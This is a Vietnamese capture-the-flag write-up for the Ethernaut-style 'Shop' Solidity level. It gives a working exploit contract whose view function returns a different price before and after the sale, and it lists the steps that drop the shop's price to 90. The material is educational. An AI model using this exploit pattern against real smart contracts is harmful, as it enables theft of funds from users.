21. Shop
Nhiệm vụ: Contract được thiết kế để buyer luôn phải mua với giá cao hơn giá niêm yết. Bằng cách nào đó hãy hạ giá niêm yết xuống.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Buyer {
function price() external view returns (uint);
}
contract Shop {
uint public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}
Phân tích
price()
trong Buyer là một hàm view, tức hàm không thể thay đổi giá trị storage được. Tuy nhiên ta hoàn toàn không cần dựa vào các biến bên trong contract, mà ta hoàn toàn có thể dựa vào những biến đổi bên ngoài contract để đưa ra giá trị của price()
. Trong trường hợp này, ví dụ như là biến isSold
của Shop
.
Solution
Ta implement Buyer như sau
contract Buyer {
Shop shop;
constructor(address shopAddr) public {
shop = Shop(shopAddr);
}
function price() external view returns (uint) {
if (!shop.isSold()) return 110;
else return 90;
}
function rekt() external {
shop.buy();
}
}
-
deploy contract Buyer
-
gọi hàm
rekt()
từ instance của Buyer trên Remix -
kiểm tra lại giá của shop
(await contract.price()).toString();
> 90
- Submit & all done!